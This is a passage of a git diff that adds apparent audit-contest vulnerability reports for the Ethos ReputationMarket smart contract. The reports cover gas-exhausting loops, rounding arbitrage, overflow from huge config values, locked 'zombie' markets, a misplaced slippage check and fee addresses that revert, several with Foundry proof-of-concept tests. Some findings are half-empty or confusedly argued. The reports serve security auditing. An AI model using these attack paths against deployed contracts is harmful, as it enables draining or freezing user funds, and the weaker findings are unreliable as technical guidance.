`minVotesToBuy`. +Bad actors exploit the gap between intended and received votes to gain an unfair advantage. +Malicious users repeatedly create conditions that violate others' `minVotesToBuy` thresholds, forcing failed transactions. + +### PoC + +A user submits a transaction with: + +`msg.value` = 5 ETH. +desiredVotesToBuy = 100. +`minVotes`ToBuy = 90. +The `_calculateBuy` function computes: + +Cost for 100 votes = 5.5 ETH (exceeds `msg.value`). +The loop decrements `currentVotesToBuy` iteratively. +At currentVotesToBuy = 89, `_calculateBuy` computes a total cost under 5 ETH. + +The transaction completes with 89 votes, violating the `minVotesToBuy` = 90 condition. + +### Mitigation + +Add Post-Loop Validation +Ensure the transaction reverts if `currentVotesToBuy` falls below `minVotesToBuy`. + + if (currentVotesToBuy < minVotesToBuy) { + revert("Current votes to buy fall below minimum allowed."); + } \ No newline at end of file diff --git a/124.md b/124.md new file mode 100644 index 0000000..df11e91 --- /dev/null +++ b/124.md @@ -0,0 +1,42 @@ +Upbeat Coffee Badger + +High + +# Potential Out-of-Gas Scenario + +### Summary + +The current implementation of the _calculateBuy logic uses a while loop to decrement the number of tickets (currentVotesToBuy) one by one until the total cost, including fees, fits within msg.value. This approach has significant downsides: + 1. High Time Complexity: +The loop runs in O(N) time in the worst case, where N is the initial value of maxVotesToBuy. This means that for very large values of maxVotesToBuy (e.g., tens or hundreds of thousands), the contract may perform thousands of iterations, each recalculating the total cost and fees using _calculateBuy. This results in excessive gas usage. + 2. DoS Vulnerability: +Attackers could deliberately set maxVotesToBuy to an extremely high value to force the loop into a large number of iterations. This could deplete gas and render the transaction unexecutable, making it a potential denial-of-service (DoS) vector. +https://github.com/sherlock-audit/2024-12-ethos-update/blob/c3a2b007d0ddfcb476f300f8b766808f0e3e2dfd/ethos/packages/contracts/contracts/ReputationMarket.sol#L460 + +### Root Cause + +_No response_ + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +_No response_ + +### PoC + +_No response_ + +### Mitigation + +Instead of decrementing from maxVotesToBuy one ticket at a time, use binary search within the range of 0 to maxVotesToBuy to quickly narrow down the number of tickets that can be purchased. This significantly reduces repeated calls to _calculateBuy(…), lowering the complexity from O(N) to O(log N). \ No newline at end of file diff --git a/125.md b/125.md new file mode 100644 index 0000000..e768bd7 --- /dev/null +++ b/125.md @@ -0,0 +1,120 @@ +Sparkly Ruby Rabbit + +High + +# Rounding Arbitrage (Different Rounding for Trust vs. Distrust) + +### Summary + +An attacker will systematically extract a small profit at the expense of the market’s liquidity (i.e., other users and overall contract funds) by exploiting rounding differences between trust and distrust trades. + +in the `_calcCost()` and `_calcVotePrice()` functions, the code uses: +- Floor rounding (Math.Rounding.Floor) when dealing with trust +- Ceiling rounding (Math.Rounding.Ceil) when dealing with distrust + +This asymmetry in rounding can let a savvy trader buy trust votes slightly cheaper (due to floor) and sell distrust votes slightly higher (due to ceil) or vice versa. + +Impact +This leads to arbitrage opportunities for attackers, who can flip trades repeatedly to accumulate a net profit while draining a portion of the protocol’s funds over time. + + + +### Root Cause + +In ReputationMarket.sol, specifically in _calcCost(): + +```solidity + +cost = positiveCostRatio.mulDiv( + market.basePrice, + 1e18, + isPositive ? Math.Rounding.Floor : Math.Rounding.Ceil +); +``` + +Similarly, in _calcVotePrice(): + +```solidity + +return odds.mulDiv( + market.basePrice, + 1e18, + isPositive ? Math.Rounding.Floor : Math.Rounding.Ceil +); +``` +Because the code “floors” one side and “ceils” the other, small discrepancies arise each time a user switches between buying trust and selling distrust (or vice versa). An attacker can harness these small differences repeatedly to gain at the expense of the contract’s liquidity. + + + +### Internal Pre-conditions + +1-Market is active, with some marketFunds[profileId] value available. +2-There is no additional fee or mechanism that offsets or negates frequent small trades. +3-Both trust and distrust sides are non-zero, allowing trading back and forth. + + +### External Pre-conditions + +1-The attacker must have on-chain capital to repeatedly buy and sell. +T2-here are no external constraints preventing rapid or consecutive trades (e.g., no block-based cooldown, no protocol-enforced slippage limit, etc.). + + +### Attack Path + +1-Attacker starts with some ETH and no votes. + +2-Attacker buys a small amount of trust votes, benefiting from floor rounding. They pay slightly less than the ideal “fair cost.” + +3-Immediately sells the same amount of distrust votes (via some swap logic, possibly by first flipping the trust to distrust in partial +trades or performing a sell to realize the price difference), getting the benefit of ceil rounding on the proceeds. + +4-The attacker repeats this cycle. Each time, they net a tiny arbitrage gain. + +5-Accumulated over many quick transactions, these gains can drain the contract’s marketFunds by a non-trivial amount, effectively stealing from the shared liquidity pool (the sum of all initial or continuing deposits). + +### Impact + +Affected Party: +- All current or future participants in that market, because the contract’s overall liquidity is diminished by the arbitrage. +- Over time, the market’s balancing mechanism keeps paying out slightly more on one side than it takes in on the other. + +Attacker Gain: +A direct ETH profit, potentially unbounded if they can keep cycling trades without a significant fee or limit. + +### PoC + +pseudo-code snippet illustrating repeated trading to exploit rounding: + +```solidity + +// NOTE: This is conceptual pseudocode; + +function testRoundingArbitrage(ReputationMarket rm, uint256 profileId) public { + // Suppose attacker has initial 100 ETH + // Step 1: Buy 1 trust vote, paying an “undercost” due to floor rounding + // Step 2: Sell that “1 trust vote” or convert to distrust in a quick step, + // receiving an “overpay” due to ceil rounding. + + // We'll do the loop multiple times: + for (uint i = 0; i < 100; i++) { + // 1. buyVotes(profileId, isPositive=true, maxVotesToBuy=1, minVotesToBuy=1); + // 2. sellVotes(profileId, isPositive=false, votesToSell=1, minimumVotePrice=0); + } + + // Expect to see the attacker’s ETH balance increment by a small margin each cycle. +} +``` +In practice, the exact procedure might involve carefully computing the partial trades so that the attacker systematically flips from trust to distrust (or vice versa) while capturing rounding differences. Over many iterations, the pool loses a measurable amount of ETH. + +### Mitigation + +1-Use a Consistent Rounding Mode +Either floor for both sides or ceil for both sides, or unify the rounding in a single place so that trust + distrust are symmetrical. + +2-Adjust the Logic +Perform the precise UD60x18 math before rounding once at the end, instead of applying different rounding modes depending on the side. + +3-Add a Small Fee that surpasses the typical rounding difference. +- If there is a minimal spread or transaction fee higher than the rounding gap, repeated flipping becomes unprofitable. + +4-Rate-limit or impose a small cooldown on trades to reduce repeated micro-arbitrage. diff --git a/126.md b/126.md new file mode 100644 index 0000000..49c482e --- /dev/null +++ b/126.md @@ -0,0 +1,155 @@ +Sparkly Ruby Rabbit + +High + +# Massive basePrice or liquidityParameter Overflows + +### Summary + +A malicious or careless admin will brick new trades and cause reverts for market participants by setting an excessively large basePrice or liquidityParameter. + +Root Cause +The contract imposes a minimum check (liquidity >= 100) but no large upper bound on: + +- basePrice in MarketConfig +- liquidityParameter in MarketConfig +When these values are set to extreme numbers (e.g., near 2^200or higher), the internal math in `_calcCost() `or `_calcVotePrice() `(which calls mulDiv(...) or multiplies with liquidityParameter) can overflow or revert due to 512-bit intermediate multiplication not fitting into 256-bit final results. + +Impact +Such overflow or revert breaks any user trade (buy/sell), effectively causing a Denial of Service for that market. If this config is used widely (e.g., as the default), it could disrupt many or all newly created markets. + +### Root Cause + +In ReputationMarket.sol, adding or modifying a market config is done via: + +```solidity + +function addMarketConfig( + uint256 liquidity, + uint256 basePrice, + uint256 creationCost +) public onlyAdmin whenNotPaused returns (uint256) +{ + // Check minimums, but no large upper bound + if (liquidity < 100) revert InvalidMarketConfigOption("Min liquidity not met"); + + // basePrice only checks if (basePrice >= MINIMUM_BASE_PRICE) + // ... + marketConfigs.push(MarketConfig({ + liquidity: liquidity, + basePrice: basePrice, + creationCost: creationCost + })); + // ... +} +``` +No code enforces that basePrice * costRatio < 2^256, nor that liquidityParameter * lnValUnwrapped < 2^256. A single ill-advised config can produce unbounded multiplication, triggering reverts in: +- _calcCost(): +`costResult = lnValUnwrapped * liquidityParameter;` + +- _calcVotePrice(): + +`return odds.mulDiv(market.basePrice, 1e18, roundingMode);` + +### Internal Pre-conditions + +1-Admin calls addMarketConfig() (or an equivalent function that modifies existing configs) with very large basePrice or liquidity. +2-The newly created or updated config is used by createMarketWithConfig(...). + +### External Pre-conditions + +1-A user or the admin then attempts to create a new market (or references the existing config) using that extreme basePrice or liquidityParameter. +2-After market creation, any attempt to buyVotes(), sellVotes(), or retrieve getVotePrice() triggers an internal multiplication that can revert due to overflow. + + +### Attack Path + +1-Malicious Admin: +- Admin calls addMarketConfig(liquidity = 2^210, basePrice = 1 ether, creationCost = 1 ether). +- This config is stored without upper bound checks. + +2-Market Creation: +- Admin or a user uses this config via createMarketWithConfig(indexOfMaliciousConfig). +- Now liquidityParameter = 2^210 for that market. + +3-User Tries to Trade: +- _calcCost() or _calcVotePrice() attempts mulDiv(...) or (lnValUnwrapped * liquidityParameter). +- The 512-bit intermediate result is beyond 256-bit range → reverts. + +4-Denial of Service: +No trades can succeed. Anyone interacting with that market hits a revert. + +(Similarly, if basePrice is extremely large, the final multiplication in _calcVotePrice() or _calcCost() can overflow.) + + + +### Impact + +Affected Party: Any participant in that newly created market (including the admin themselves if they try to deposit or withdraw). +Result: The market is effectively bricked—no buy or sell can proceed. +Denial of Service: If this is the default or a commonly used config, it can block a large set of new markets. + +### PoC + + + +```solidity + +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.26; + +import "forge-std/Test.sol"; +import "../src/ReputationMarket.sol"; + +contract OverflowTest is Test { + ReputationMarket rm; + address admin = address(0xA1); + + function setUp() public { + vm.startPrank(admin); + rm = new ReputationMarket(); + // Hypothetical initialization + vm.stopPrank(); + } + + function testOverflowInLiquidityParameter() public { + vm.startPrank(admin); + + // Add a config with extremely large liquidityParameter + rm.addMarketConfig( + type(uint256).max / 2, // e.g. near 2^255 + 1 ether, + 0.5 ether + ); + + // This is index 3 if 3 default configs existed + // Create a market with that config + vm.deal(admin, 1 ether); + rm.createMarketWithConfigAdmin(admin, 3); + vm.stopPrank(); + + // Now user tries to trade + vm.deal(address(this), 10 ether); + // Expect revert when we do buyVotes or getVotePrice + vm.expectRevert(); + rm.buyVotes{value: 1 ether}(12345, true, 10, 1); + // This reverts due to overflow in `_calcCost()` or `_calcVotePrice()`. + } +} + +``` + +### Mitigation + +1-Impose Safe Upper Bounds +For example, require basePrice <= 10^18 or some protocol-chosen max. +Similarly, require liquidity <= 10^12 (or whichever safe range ensures no overflow). + +2-Use Safe Casting / Overflow Checks +If extremely large values are desired, incorporate advanced math that gracefully handles 512-bit intermediate results (though mulDiv attempts this, you still can easily revert if the final is above 2^256-1). + +3-Designate “Admin Approval” +Only let a specialized admin or multi-sig add new configs, with code or governance gating that checks the numeric ranges. + +4-Explicit “Check for Overflow” +For example, if (lnValUnwrapped > 0) then require liquidityParameter < (type(uint256).max / lnValUnwrapped) in _calcCost() if the design must be extremely flexible. \ No newline at end of file diff --git a/127.md b/127.md new file mode 100644 index 0000000..bca54ef --- /dev/null +++ b/127.md @@ -0,0 +1,95 @@ +Unique Currant Sheep + +High + +# Incremental Cost Calculation for Voting Markets Using LMSR" + +### Summary + +In the current implementation of the buyVotes function within the smart contract, the process for purchasing votes does not properly account for the incremental increase in price as more votes are bought. The contract currently calculates the cost for a given number of votes (e.g., 8 votes) as if the price for all the votes is fixed, which leads to inaccurate cost calculations, particularly in markets where the price of votes increases as more votes are bought. This report identifies the issue, explains why it occurs, and provides a recommended solution to correct the logic. +The primary issue identified in the buyVotes function is that users are paying the same price for each vote, even though the expected behavior (according to the LMSR pricing model) is that the price should increase as more votes are bought. + + + +### Root Cause + +Simplified Cost Calculation: The function _calcCost computes the cost for purchasing the total number of votes (e.g., 8 votes) without taking into account how the market conditions change with each additional vote purchased. +Fixed Price Assumption: The price is treated as constant for all votes, ignoring the fact that the cost per vote typically increases as more votes are purchased. This results in a miscalculation of the total cost, as the price is not adjusted to reflect the updated state of the market after each vote purchase. + +LMSR is wrong + +-------- +**The relevant function used for cost calculation is _cost(), which implements the LMSR formula. This formula computes the cost based on the current number of "yes" and "no" votes, and the liquidity parameter (b). However, the calculation is done for the total number of votes, rather than incrementally for each vote as it is purchased.** + The original code calculates the total cost by considering the initial state and the final state using the LMSR formula, without breaking it down into individual vote increments. + + https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L440-L497 + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Incorrect Pricing: The primary impact of this issue is that users will be able to purchase more votes than they can afford. This is because the contract assumes the price is fixed and does not adjust for the increasing price of votes. As a result, users may be charged less than they should be, and the market may not receive the correct amount of funds for the votes purchased. + +Market Inaccuracy: The market state will not be updated correctly when multiple votes are bought. This means that the overall liquidity of the market is not accurately reflected, which could lead to issues with market balance, such as incorrect vote distribution and a mismatch between the number of votes bought and the available liquidity. + +Potential Exploitation: In some scenarios, this could lead to users exploiting the pricing logic by purchasing a larger number of votes for less than the true cost, impacting the fairness and integrity of the vote-buying system. + +### PoC + +Problem +You want to calculate the price of each individual vote and then sum them up. For each vote added, the price should be recalculated, as the price of votes changes with each increment. + +Current Approach in Original Code +The original code calculates the cost between two states (the initial and the final) using the LMSR formula. This is done in a single calculation, not accounting for the incremental change in price for each vote. + +Desired Approach +Instead of calculating the price in one go, we want to calculate the price for each vote individually and then accumulate the cost over all votes. + +Steps in the Proof of Concept +Initialize starting state: + +Begin with 0 yesVotes and 0 noVotes. +For each vote: + +For every vote, you need to calculate the price change based on the current state (i.e., the number of yesVotes and noVotes at that point). +Accumulate cost: + +After calculating the price for a vote, add it to the total cost. +Repeat until all votes are processed: + +Each time you add a new vote, you need to recalculate the price based on the new number of yesVotes and noVotes. +Example Breakdown +Variables: +yesVotes: Number of "yes" votes. +noVotes: Number of "no" votes. +cost: Total accumulated cost. +Process: +Start with 0 votes: + +yesVotes = 0 +noVotes = 0 +cost = 0 +For each vote (i.e., vote 1, vote 2, ..., vote N): + +For vote 1: Calculate the cost for 1 "yes" vote (yesVotes = 1 and noVotes = 0). +Use LMSR to calculate the price of 1 "yes" vote. +Add the calculated price to the total cost. +For vote 2: Now calculate the cost for 1 "yes" and 1 "no" vote (yesVotes = 1 and noVotes = 1). +Use LMSR to calculate the price with this new state. +Add this price to the total cost. +Repeat the process for each subsequent vote. +Result: The total cost will be the sum of the prices calculated for each individual vote. + +### Mitigation + +_No response_ \ No newline at end of file diff --git a/128.md b/128.md new file mode 100644 index 0000000..892850e --- /dev/null +++ b/128.md @@ -0,0 +1,58 @@ +Soft Chambray Jaguar + +High + +# Incorrect slippage check in ReputationMarket.sellVotes + + +## Summary + +When users sell votes, they can set a minimum price they want to receive per vote. However, the code checks this minimum price before deducting fees, rather than after. This means users could receive less than their specified minimum price. + +```solidity +@> uint256 pricePerVote = votesToSell > 0 ? proceedsBeforeFees / votesToSell : 0; // @audit price deducted with fees included + if (pricePerVote < minimumVotePrice) { + revert SellSlippageLimitExceeded(minimumVotePrice, pricePerVote); + } +``` + +The `sellVotes` function lets users sell their votes and specify a minimum price per vote. Here's the issue: + +1. The code calculates price per vote using the amount before fees are taken out +2. It checks if this pre-fee price meets the user's minimum +3. Only after this check does it deduct fees and send the remaining amount to the user + +This means the actual amount received may be lower than what was checked against the minimum price. + +## Scenario + +Let's say: + +- User wants to sell 1 vote for minimum 1 ETH +- Protocol fee is 5% +- Current vote price is exactly 1 ETH + +What happens: + +1. Code sees price is 1 ETH and approves the sale since it meets minimum +2. 5% fee (0.05 ETH) is deducted +3. User only receives 0.95 ETH - less than their 1 ETH minimum! + +## Impact + +Users receive less money than they expected based on their minimum price setting. +## LOC + +https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L553 + +## Fix + +Calculate the price per vote using the after-fee amount `proceedsAfterFees` + +```diff +- uint256 pricePerVote = votesToSell > 0 ? proceedsBeforeFees / votesToSell : 0; ++ uint256 pricePerVote = votesToSell > 0 ? proceedsAfterFees / votesToSell : 0; + if (pricePerVote < minimumVotePrice) { + revert SellSlippageLimitExceeded(minimumVotePrice, pricePerVote); + } +``` \ No newline at end of file diff --git a/129.md b/129.md new file mode 100644 index 0000000..1ea723f --- /dev/null +++ b/129.md @@ -0,0 +1,108 @@ +Sparkly Ruby Rabbit + +Medium + +# Zeroed-Out "Zombie" Markets + +### Summary + +A sequence of traders (including potentially malicious users) will lock a market into an inaccessible state for everyone by driving both trust and distrust votes to zero, leaving residual funds stuck. + +The contract’s _checkMarketExists() function reverts if both markets[profileId].votes[TRUST] == 0 and markets[profileId].votes[DISTRUST] == 0. Once a market’s vote counts reach (0, 0), all further interactions (buy or sell) revert. This effectively becomes a “zombie” market: it can’t be used, even though marketFunds[profileId] might still hold ETH. + +Impact +This causes a permanent lock for users, as no one can re-populate the market with new votes (the check reverts). Any leftover ETH remains trapped until/unless an authorized entity graduates or forcefully manages the market. + +### Root Cause + +In `ReputationMarket.sol,` _checkMarketExists(): + +```solidity + +function _checkMarketExists(uint256 profileId) private view { + if (markets[profileId].votes[TRUST] == 0 && markets[profileId].votes[DISTRUST] == 0) + revert MarketDoesNotExist(profileId); +} +``` +Any function calling _checkMarketExists(profileId) (e.g., buyVotes(), sellVotes(), simulateBuy(), etc.) will revert if the votes are (0,0). There is no re-creation or re-initialization path for a zeroed-out market. + + + +### Internal Pre-conditions + +1-The market has small enough total votes that it’s possible for users to fully sell all trust and all distrust votes. +2-No logic or check prevents both sides from going to zero simultaneously. + + +### External Pre-conditions + +1-Traders systematically sell (or burn) all trust votes and all distrust votes. +2-The market is not graduated and still has marketFunds[profileId] > 0 left behind. + +### Attack Path + +1-A user sees the market has (x, y) trust/distrust votes. +2-They and others sell until x and y become 0 and 0. +3- _`checkMarketExists(`) triggers revert MarketDoesNotExist(...) for any new `buyVotes()` call. Thus, no one can “reopen” the market by buying again. +4- If the graduation function is never invoked, the leftover marketFunds[profileId] can become stuck indefinitely. + +(Though not a direct “theft,” it’s a scenario that denies further usage or retrieval by normal participants.) + +### Impact + +Affected Party: +- All potential market participants hoping to keep trading or to reinitiate a zeroed market. +- Potential leftover liquidity that remains locked if the official graduation contract never calls withdrawGraduatedMarketFunds(). + +Result: +- Denial of Service for future trades. +- Possible indefinite lock of any remaining ETH in `marketFunds[profileId]`. + + +### PoC + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.26; + +import "forge-std/Test.sol"; +import "../src/ReputationMarket.sol"; + +contract ZombieMarketTest is Test { + ReputationMarket rm; + uint256 profileId = 12345; + + function setUp() public { + rm = new ReputationMarket(); + // Assume some initialization & market creation, so + // markets[profileId].votes[TRUST] = 1, markets[profileId].votes[DISTRUST] = 1 + // marketFunds[profileId] = 1 ether + } + + function testZeroedOutMarket() public { + // Suppose user sells the last TRUST vote + // now trust votes = 0 + // Another user sells the last DISTRUST vote + // now distrust votes = 0 => combined = (0,0) + + // Any call that checks _checkMarketExists(profileId) reverts: + vm.expectRevert(ReputationMarketErrors.MarketDoesNotExist.selector); + rm.buyVotes{value: 0.1 ether}(profileId, true, 1, 1); + + // leftover funds remain in marketFunds[profileId], but no normal path to reclaim them + // unless the official "graduateMarket" => "withdrawGraduatedMarketFunds" is triggered + // by the authorized address. + } +} +``` + +### Mitigation + +1-Automatically Graduate when (trustVotes, distrustVotes) == (0, 0). +Once both sides are zero, call graduateMarket(profileId) internally, allowing an official withdrawal flow. + +2-Allow Re-Initialization +Provide an explicit function for an admin or the original market owner to “revive” a zeroed market by setting (1,1) again. + +3-Prohibit Simultaneous Zeroing +Revert any sell that would make a side go zero if the other side is already zero (though this might be too restrictive for legitimate trades). \ No newline at end of file diff --git a/130.md b/130.md new file mode 100644 index 0000000..1f5234e --- /dev/null +++ b/130.md @@ -0,0 +1,43 @@ +Gorgeous Cobalt Frog + +Medium + +# Markets that have been created with the removed Market Config will keep on selling and buying votes + +### Summary + +`removeMarketConfig()` allows the owner to controle the : +liquidity, basePrice, creationCost +the issue is that the already created market will keep existing, this may lead to a critical issues +as a malicious user could abuse the removed liquidity parameter, which makes it possible to drain funds +from the market + +### Root Cause + +1. if the owner updates the `MarketConfig.liquidity` for a critical reason +2. with the price going up and down the `MarketConfig.liquidity` parameter could be an issue in the calculation, and there is no mechanism that's allow the owner to control existing markets. + +### Internal Pre-conditions + +Using a Logarithmic Market Scoring Rule (LMSR), vote prices fluctuate dynamically based on demand, when the demand is high the code is designed to allow the owner to update the `MarketConfig.liquidity` to prevent funds draining. + +### External Pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Owner is prevented from one of the key functionalities. + +### PoC + +The Protocol allows the Owner to [addMarketConfig()](https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L366) and [removeMarketConfig()](https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L388) . +but there is no mechanism to change the created markets parameters. + +### Mitigation + +_No response_ \ No newline at end of file diff --git a/131.md b/131.md new file mode 100644 index 0000000..6378e7c --- /dev/null +++ b/131.md @@ -0,0 +1,55 @@ +Real Neon Robin + +High + +# Denial of Service and Gas Inefficiency in buyVotes() Function + +### Summary + +The `buyVotes()` function in the `ReputationMarket` contract contains a while loop that adjusts the number of votes to be purchased (`currentVotesToBuy`) based on the user-provided `maxVotesToBuy` and the available `msg.value`. While this dynamic calculation ensures fairness, it introduces significant vulnerabilities when `maxVotesToBuy` is unreasonably high (given the premium configuration has a max buy/sell votes of 13,300,000) compared to what `msg.value` can afford. + +### Root Cause + +The root cause of this vulnerability lies in the unconstrained while loop within the [buyVotes()](https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L440) function. The loop continues until `totalCostIncludingFees` isn't higher than the user's `msg.value`. +If a user provides a very large `maxVotesToBuy` value that significantly exceeds what their `msg.value` can purchase, the loop will continue iterating unnecessarily, consuming excessive gas. + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + +An attacker or an uninformed user could exploit this vulnerability by: + +1. Setup: + * A user calls `buyVotes()` with `msg.value` sufficient for only 2 votes but sets `maxVotesToBuy` = 1,000,000. +2. Execution: + * The loop iterates times, consuming excessive gas and possibly exhausting the block gas limit. +3. Result: + * Transaction fails due to out-of-gas error, or the user incurs unreasonably high gas fees. + * Other users might experience delayed transactions as blocks reach their gas capacity. + +### Impact + +1. User Gas Costs: + * The user initiating the transaction faces excessive gas consumption, particularly for large values of `maxVotesToBuy`. +2. Denial of Service (DoS): + * If the loop iterates excessively, it may cause the transaction to run out of gas, reverting the transaction. This effectively results in a DoS for the user attempting to buy votes. +3. System-Wide Gas Limitations: + * Transactions with high gas costs can affect the network block limits, potentially delaying other transactions within the same block. +4. User-Driven Exploit: + * Even though the vulnerability stems from user-provided inputs, its presence reflects a lack of protective measures in the protocol. + +All outcomes can result in a poor user experience, potential financial losses for users, and reduced contract functionality. + +### PoC + +_No response_ + +### Mitigation + +To mitigate this, you can add a check to ensure that the difference between `totalCostIncludingFees` and `msg.value` is within a reasonable range before entering the loop. This way, you can prevent the loop from running excessively and consuming too much gas. \ No newline at end of file diff --git a/132.md b/132.md new file mode 100644 index 0000000..3c3dc09 --- /dev/null +++ b/132.md @@ -0,0 +1,41 @@ +Ambitious Eggshell Panther + +Medium + +# Withdrawing funds from a graduated market does not send fee to the `protocolFeeAddress` + +## Summary +Whenever a user buys or sells vote, appropriate fees is calculated which is sent to the `protocolFeeAddress`. +However when the `withdrawGraduatedMarketFunds()` is called the funds are sent to the authorized caller but it does not send any fee as it is missing the call to the `applyFees()`. + +## Proof +As we can see below that when the authorized address call the `withdrawGraduatedMarketFunds()`, the funds stored in `marketFunds` is sent to the caller. +```solidity +File: ReputationMarket.sol + + function withdrawGraduatedMarketFunds(uint256 profileId) public whenNotPaused nonReentrant { + address authorizedAddress = contractAddressManager.getContractAddressForName( + "GRADUATION_WITHDRAWAL" + ); + if (msg.sender != authorizedAddress) revert UnauthorizedWithdrawal(); + + _checkMarketExists(profileId); + if (!graduatedMarkets[profileId]) revert MarketNotGraduated(); + + if (marketFunds[profileId] == 0) revert InsufficientFunds(); + + _sendEth(marketFunds[profileId]); + emit MarketFundsWithdrawn(profileId, msg.sender, marketFunds[profileId]); + marketFunds[profileId] = 0; + } +``` +But there is no call to `applyFees()`. Had the votes been sold, the protocol fee would have been sent but since `withdrawGraduatedMarketFunds()` is missing `applyFees()`, nothing is sent. + +## Impact +No protocol fee is sent to the `protocolFeeAddress` when funds from a graduated market (which still holds some funds) are withdrawn. + +## Tools Used +Manual Review + +## Recommendation +Calculate the fee for selling the remaining votes at the time of withdrawing from a graduated market & call `applyFees()` to send the fee to the `protocolFeeAddress`. diff --git a/133.md b/133.md new file mode 100644 index 0000000..c343ef6 --- /dev/null +++ b/133.md @@ -0,0 +1,134 @@ +Sparkly Ruby Rabbit + +High + +# Reverting Fee/Donation Address + +### Summary + +A malicious or careless admin will brick all buy/sell or donation withdrawals for market participants by setting fee or donation addresses to a contract that reverts on receiving ETH. + +When fees (protocol fee) or donations are distributed, the contract calls something like: + +```solidity + +(bool success, ) = protocolFeeAddress.call{ value: protocolFee }(""); +if (!success) revert FeeTransferFailed("Protocol fee deposit failed"); +``` + +Similarly, for donations: + +```solidity + +(bool success, ) = msg.sender.call{ value: amount }(""); +if (!success) revert FeeTransferFailed("Donation withdrawal failed"); +``` +If protocolFeeAddress or donation recipients are addresses (contracts) that revert on ETH reception—perhaps via a receive() or fallback() function—all transactions that attempt to transfer ETH there will revert, effectively halting buy/sell or donation withdrawal flows. + +Impact +This breaks core functionality for users, as any buy/sell that must pay a fee (or a withdrawal that sends donations) fails and reverts. This is a Denial of Service scenario for trading or withdrawing donations. + +### Root Cause + +In ReputationMarket.sol, applyFees(protocolFee, donation, profileId): +```solidity + +if (protocolFee > 0) { + (bool success, ) = protocolFeeAddress.call{ value: protocolFee }(""); + if (!success) revert FeeTransferFailed("Protocol fee deposit failed"); +} +``` +Also, withdrawDonations(): +```solidity + +(bool success, ) = msg.sender.call{ value: amount }(""); +if (!success) revert FeeTransferFailed("Donation withdrawal failed"); +``` +No check is performed to confirm that the fee/donation recipient can safely receive ETH. An address with a fallback that reverts (intentionally or by design) causes all transfers to fail. + +### Internal Pre-conditions + +1-Admin can call setProtocolFeeAddress(...) or set a donation recipient by creating a market or updating it. +2-The contract calls applyFees(...) or withdrawDonations() to transfer ETH to that address. + + +### External Pre-conditions + +1-The chosen feeAddress or donation recipient is a contract with a fallback or receive function that reverts on inbound ETH. +2-A user tries a trade or donation withdrawal, triggering the failing transfer. + +### Attack Path + +1-Malicious Admin sets protocolFeeAddress to a contract that reverts when receiving ETH. +2-User calls buyVotes() or sellVotes(): +- The code tries to send the fee to protocolFeeAddress. +- The target reverts, causing the entire transaction to revert. +3-As a result, no one can complete a buy or sell in that market. Trading is entirely blocked. +4-Alternatively, if a donation recipient with revert fallback is set, attempts to withdraw donations fail for that recipient. + + +### Impact + +Affected Party: +All traders needing to pay protocol fees. +Donation recipients if their own address reverts. + +Result: +Denial of Service for any function that must transfer ETH to the reverter address. +Users cannot trade, the market effectively becomes non-functional. + + +### PoC + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.26; + +import "forge-std/Test.sol"; +import "../src/ReputationMarket.sol"; + +contract RevertingReceiver { + fallback() external payable { + revert("I do not accept ETH"); + } +} + +contract RevertingFeeAddressTest is Test { + ReputationMarket rm; + RevertingReceiver revertContract; + + function setUp() public { + rm = new ReputationMarket(); + revertContract = new RevertingReceiver(); + } + + function testFeeAddressRevert() public { + // Admin sets the protocol fee address to the reverting contract + vm.prank(rm.owner()); // or admin + rm.setProtocolFeeAddress(address(revertContract)); + + // Now user tries to buy or sell + vm.deal(address(this), 1 ether); + vm.expectRevert(bytes("Protocol fee deposit failed")); + rm.buyVotes{value: 1 ether}(12345, true, 10, 1); + // Reverts because fee transfer fails + } +} +``` +When applyFees(...) tries to send ETH to revertContract, it triggers a revert. + + + +### Mitigation + +1-Validate Fee Address +Require that protocolFeeAddress is an EOA or at least a contract that accepts ETH (test via try/catch). + +2-Fallback Mechanism +If the transfer fails, store the fees in escrow or allow a retry by the admin rather than reverting the entire trade. + +3-Governance & Safeguards +Restrict setProtocolFeeAddress to a safe list or require a multi-sig governance process. + +4-Donation +Similarly, ensure the donation recipient can safely receive ETH or handle reverts gracefully. diff --git a/134.md b/134.md new file mode 100644 index 0000000..3bc52de --- /dev/null +++ b/134.md @@ -0,0 +1,39 @@ +Blunt Ebony Copperhead + +Medium + +# Precision loss while calculating `pricePerVote` in ReputationMarket::sellVotes + +### Summary + +The `sellVotes` function in the `ReputationMarket` contract calculates the price per vote by dividing `proceedsBeforeFees` by `votesToSell`. This calculation may lead to precision loss due to integer division in Solidity, potentially resulting in unexpected behavior or failed transactions when the calculated price does not meet the `minimumVotePrice` requirement. + +### Root Cause + +Solidity uses integer arithmetic, truncating any fractional part during division. As a result, `proceedsBeforeFees / votesToSell` may not accurately represent the true price per vote. The issue lies in the `sellVotes` function, line where `pricePerVote` is calculated. +https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L553 + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + +1. User calls the `sellVotes` function. + +### Impact + +- Rejection of valid transactions where the actual price per vote should meet the `minimumVotePrice`. +- Potential underestimation of the per-vote price in edge cases. + +### PoC + +_No response_ + +### Mitigation + +Introduce a scaling factor (e.g., 10**18) to preserve precision during division. \ No newline at end of file diff --git a/135.md b/135.md new file mode 100644 index 0000000..1a1ecb4 --- /dev/null +++ b/135.md @@ -0,0 +1,68 @@ +Petite Rosewood Whale + +Medium + +# price can reach zero in imbalanced markets, can cause issues + +### Summary + +Due to precision loss and how LMSR works, if the difference between the amount of outstanding shares is big enough, one of the share prices can hit zero. If a 